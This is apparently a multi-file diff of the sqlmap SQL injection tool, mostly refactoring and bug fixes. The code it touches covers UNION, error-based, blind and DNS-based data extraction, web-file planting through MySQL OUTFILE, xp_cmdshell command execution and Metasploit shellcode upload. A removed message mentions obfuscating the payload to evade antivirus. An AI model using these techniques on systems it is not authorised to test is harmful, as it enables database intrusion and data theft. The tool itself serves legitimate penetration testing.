+                                match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
+
+                                if match:
+                                    token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
+
            if not token:
                if conf.csrfUrl != conf.url and code == httplib.OK:
                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -1113,33 +1142,33 @@ class Connect(object):
                            if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
                                if re.search(r"<%s\b" % re.escape(name), post):
                                    found = True
-                                    post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                                    post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
                                elif re.search(r"\b%s>" % re.escape(name), post):
                                    found = True
-                                    post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                                    post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)

                            regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
                            if not found and re.search(regex, (post or "")):
                                found = True
-                                post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
+                                post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
                        if not found and re.search(regex, (post or "")):
                            found = True
-                            post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                            post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)

                        if re.search(regex, (get or "")):
                            found = True
-                            get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
+                            get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)

                        if re.search(regex, (query or "")):
                            found = True
-                            uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
+                            uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                        if re.search(regex, (cookie or "")):
                            found = True
-                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
+                            cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)

                        if not found:
                            if post is not None:
@@ -1170,7 +1199,7 @@ class Connect(object):
                    singleTimeWarnMessage(warnMsg)

                warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
-                warnMsg += "larger statistical model, please wait"
+                warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
                dataToStdout(warnMsg)

                while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
@@ -1240,11 +1269,20 @@ class Connect(object):
                warnMsg = "site returned insanely large response"
                if kb.testMode:
                    warnMsg += " in testing phase. This is a common "
-                    warnMsg += "behavior in custom WAF/IPS/IDS solutions"
+                    warnMsg += "behavior in custom WAF/IPS solutions"
                singleTimeWarnMessage(warnMsg)

-        if conf.secondOrder:
-            page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+        if conf.secondUrl:
+            page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+        elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
+            def _(value):
+                if kb.customInjectionMark in (value or ""):
+                    if payload is None:
+                        value = value.replace(kb.customInjectionMark, "")
+                    else:
+                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                return value
+            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)

        threadData.lastQueryDuration = calculateDeltaSeconds(start)
        threadData.lastPage = page
@@ -1260,6 +1298,8 @@ class Connect(object):
        elif noteResponseTime:
            kb.responseTimes.setdefault(kb.responseTimeMode, [])
            kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
+            if len(kb.responseTimes) > MAX_TIME_RESPONSES:
+                kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]

        if not response and removeReflection:
            page = removeReflectiveValues(page, payload)
@@ -12,6 +12,7 @@ import socket
 import urllib2

 from lib.core.common import getSafeExString
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
            for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                try:
                    sock = create_sock()
@@ -33,6 +33,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
@@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar

    value = _goDns(payload, expression)

+    if payload is None:
+        return None
+
    if value is not None:
        return value

@@ -333,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):

    return output

+@stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
@@ -435,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
-                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
+                match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
+                kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
@@ -9,6 +9,8 @@ import httplib
 import urllib2

 from lib.core.data import conf
+from lib.core.common import getSafeExString
+from lib.core.exception import SqlmapConnectionException

 class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
    def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
        return self.do_open(self.getConnection, req)

    def getConnection(self, host, timeout=None):
-        # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
-        return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+        try:
+            # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
+            return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+        except IOError, ex:
+            errMsg = "error occurred while using key "
+            errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
+            raise SqlmapConnectionException(errMsg)
@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
        urllib2.install_opener(opener)

        # create Request and set Range header
-        req = urllib2.Request('http://www.python.org/')
+        req = urllib2.Request('https://www.python.org/')
        req.header['Range'] = 'bytes=30-50'
        f = urllib2.urlopen(req)
    """
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-import re
 import time
 import types
 import urllib2
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):

            req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
            if headers and HTTP_HEADER.SET_COOKIE in headers:
+                cookies = dict()
                delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
-                _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
-                if HTTP_HEADER.COOKIE not in req.headers:
-                    req.headers[HTTP_HEADER.COOKIE] = _
-                else:
-                    req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
+                last = None
+
+                for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
+                    if '=' in part:
+                        part = part.strip()
+                        key, value = part.split('=', 1)
+                        cookies[key] = value
+                        last = key
+                    elif last:
+                        cookies[last] += "%s%s" % (delimiter, part)
+
+                req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
+
            try:
                result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
            except urllib2.HTTPError, e:
@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
 from lib.takeover.web import Web
 from lib.takeover.xp_cmdshell import XP_cmdshell

-
 class Abstraction(Web, UDF, XP_cmdshell):
    """
    This class defines an abstraction layer for OS takeover functionalities
@@ -675,13 +675,10 @@ class Metasploit:
            written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)

        if written is not True:
-            errMsg = "there has been a problem uploading shellcodeexec, it "
+            errMsg = "there has been a problem uploading shellcodeexec. It "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
-            errMsg += "flagged it as malicious and removed it. In such a case "
-            errMsg += "it is recommended to recompile shellcodeexec with "
-            errMsg += "slight modification to the source code or pack it "
-            errMsg += "with an obfuscator software"
+            errMsg += "flagged it as malicious and removed it"
            logger.error(errMsg)

            return False
@@ -108,7 +108,7 @@ class UDF:
        return output

    def udfCheckNeeded(self):
-        if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
+        if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
            self.sysUdfs.pop("sys_fileread")

        if not conf.osPwn:
@@ -53,7 +53,6 @@ from lib.core.settings import VIEWSTATE_REGEX
 from lib.request.connect import Connect as Request
 from thirdparty.oset.pyoset import oset

-
 class Web:
    """
    This class defines web-oriented OS takeover functionalities for
@@ -147,8 +146,7 @@ class Web:
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
-        query = agent.prefixQuery(query)
-        query = agent.suffixQuery(query)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

@@ -220,7 +218,7 @@ class Web:
                        finally:
                            been.add(url)

-                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
+                url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
@@ -232,7 +230,7 @@ class Web:

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
-                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
+                        value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)
@@ -244,12 +242,12 @@ class Web:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
-                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

-                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)
@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:

        return wasLastResponseDelayed()

+    @stackedmethod
    def _xpCmdshellTest(self):
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
@@ -134,7 +136,7 @@ class XP_cmdshell:

        for line in lines:
            echoedLine = "echo %s " % line
-            echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
+            echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
            echoedLines.append(echoedLine)

        for echoedLine in echoedLines:
@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
    finalValue = None
    retrievedLength = 0

+    if payload is None:
+        return 0, None
+
    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
            with hintlock:
                hintValue = kb.hintValue

-            if hintValue is not None and len(hintValue) >= idx:
+            if payload is not None and hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
@@ -469,7 +472,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
-                            start = time.time()
                            val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
@@ -482,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

                        if kb.threadContinue:
                            if showEta:
-                                progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
+                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0
@@ -499,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
-                                    output += '_' if currentValue[i] is None else currentValue[i]
+                                    output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0
@@ -516,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                    status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(status)

-                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
+                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

@@ -550,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

            while True:
                index += 1
-                start = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
@@ -575,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                        # Did we have luck?
                        if result:
                            if showEta:
-                                progress.progress(calculateDeltaSeconds(start), len(commonValue))
+                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

@@ -625,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                threadData.shared.value = partialValue = partialValue + val

                if showEta:
-                    progress.progress(calculateDeltaSeconds(start), index)
+                    progress.progress(index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

@@ -14,7 +14,6 @@ from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.techniques.dns.use import dnsUse

-
 def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

@@ -33,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request

-
 def dnsUse(payload, expression):
    """
    Retrieve the output of a SQL query taking advantage of the DNS
@@ -84,7 +83,7 @@ def dnsUse(payload, expression):
                _ = conf.dnsServer.pop(prefix, suffix)

                if _:
-                    _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
+                    _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                    _ = decodeHexValue(_)
                    output = (output or "") + _
                    offset += len(_)
@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import getUnicode
@@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
        try:
            while True:
                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
-                trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
+                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)
@@ -133,22 +134,21 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):

                # Parse the returned page to get the exact error-based
                # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (
+                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
-                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
-                    None
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                )

                if output is not None:
                    output = getUnicode(output)
                else:
-                    trimmed = (
-                        extractRegexResult(trimcheck, page) or
-                        extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
-                        extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
-                        extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    trimmed = firstNotNone(
+                        extractRegexResult(trimCheck, page),
+                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
+                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
+                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                    )

                    if trimmed:
@@ -163,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
-                                check = "(?P<result>[^\s<>'\"]+)"
+                                check = r"(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()
@@ -332,7 +332,7 @@ def errorUse(expression, dump=False):
                    stopLimit = int(count)

                    infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                    logger.info(infoMsg)

            elif count and not count.isdigit():
@@ -402,7 +402,6 @@ def errorUse(expression, dump=False):
                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
-                                    valueStart = time.time()
                                    threadData.shared.counter += 1
                                    num = threadData.shared.limits.next()
                                except StopIteration:
@@ -414,12 +413,12 @@ def errorUse(expression, dump=False):
                                break

                            if output and isListLike(output) and len(output) == 1:
-                                output = output[0]
+                                output = unArrayizeValue(output)

                            with kb.locks.value:
                                index = None
                                if threadData.shared.showEta:
-                                    threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                    threadData.shared.progress.progress(threadData.shared.counter)
                                for index in xrange(1 + len(threadData.shared.buffered)):
                                    if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                        break
@@ -445,8 +444,11 @@ def errorUse(expression, dump=False):
    if not value and not abortedFlag:
        value = _errorFields(expression, expressionFields, expressionFieldsList)

-    if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
-        value = value[0]
+    if value and isListLike(value):
+        if len(value) == 1 and isinstance(value[0], basestring):
+            value = unArrayizeValue(value)
+        elif len(value) > 1 and stopLimit == 1:
+            value = [value]

    duration = calculateDeltaSeconds(start)

@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,13 +49,14 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
    """
    retVal = None

-    def _orderByTechnique(lowerCount, upperCount):
+    @stackedmethod
+    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

-        if lowerCount == 1 or conf.uCols:
-            found = kb.orderByColumns or _orderByTechnique(lowerCount, upperCount)
+        if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):  # ORDER BY is not bullet-proof
+            found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
            if found:
                kb.orderByColumns = found
                infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -114,10 +116,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
-            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
-                contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
-                if len(filter(lambda _: _[1], contains)) == 1:
-                    retVal = filter(lambda _: _[1], contains)[0][0]
+            for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
+                contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
+                if len(contains) == 1:
+                    retVal = contains[0]
                    break

        if not retVal:
@@ -265,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

    validPayload = None
    vector = None
+    orderBy = kb.orderByColumns
+    uChars = (conf.uChar, kb.uChar)

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
@@ -299,6 +303,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
            if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

+    if count and orderBy is None and kb.orderByColumns is not None:  # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
+        conf.uChar, kb.uChar = uChars
+        validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
+
    return validPayload, vector

 def unionTest(comment, place, parameter, value, prefix, suffix):
@@ -19,6 +19,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import flattenValue
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
@@ -90,7 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
+                return firstNotNone(
+                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
+                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
+                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -254,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False):
                    stopLimit = int(count)

                    infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring) or not count.isdigit()):
@@ -308,7 +312,6 @@ def unionUse(expression, unpack=True, dump=False):
                        while kb.threadContinue:
                            with kb.locks.limit:
                                try:
-                                    valueStart = time.time()
                                    threadData.shared.counter += 1
                                    num = threadData.shared.limits.next()
                                except StopIteration:
@@ -333,7 +336,7 @@ def unionUse(expression, unpack=True, dump=False):
                                        items = parseUnionPage(output)

                                        if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        if isListLike(items):
                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
                                            if len(items) > 1 and len(expressionFieldsList) > 1:
@@ -355,7 +358,7 @@ def unionUse(expression, unpack=True, dump=False):
                                    else:
                                        index = None
                                        if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                        for index in xrange(1 + len(threadData.shared.buffered)):
                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                break
@@ -33,9 +33,10 @@ from lib.core.data import paths
 from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.defaults import _defaults
+from lib.core.dicts import PART_RUN_CONTENT_TYPES
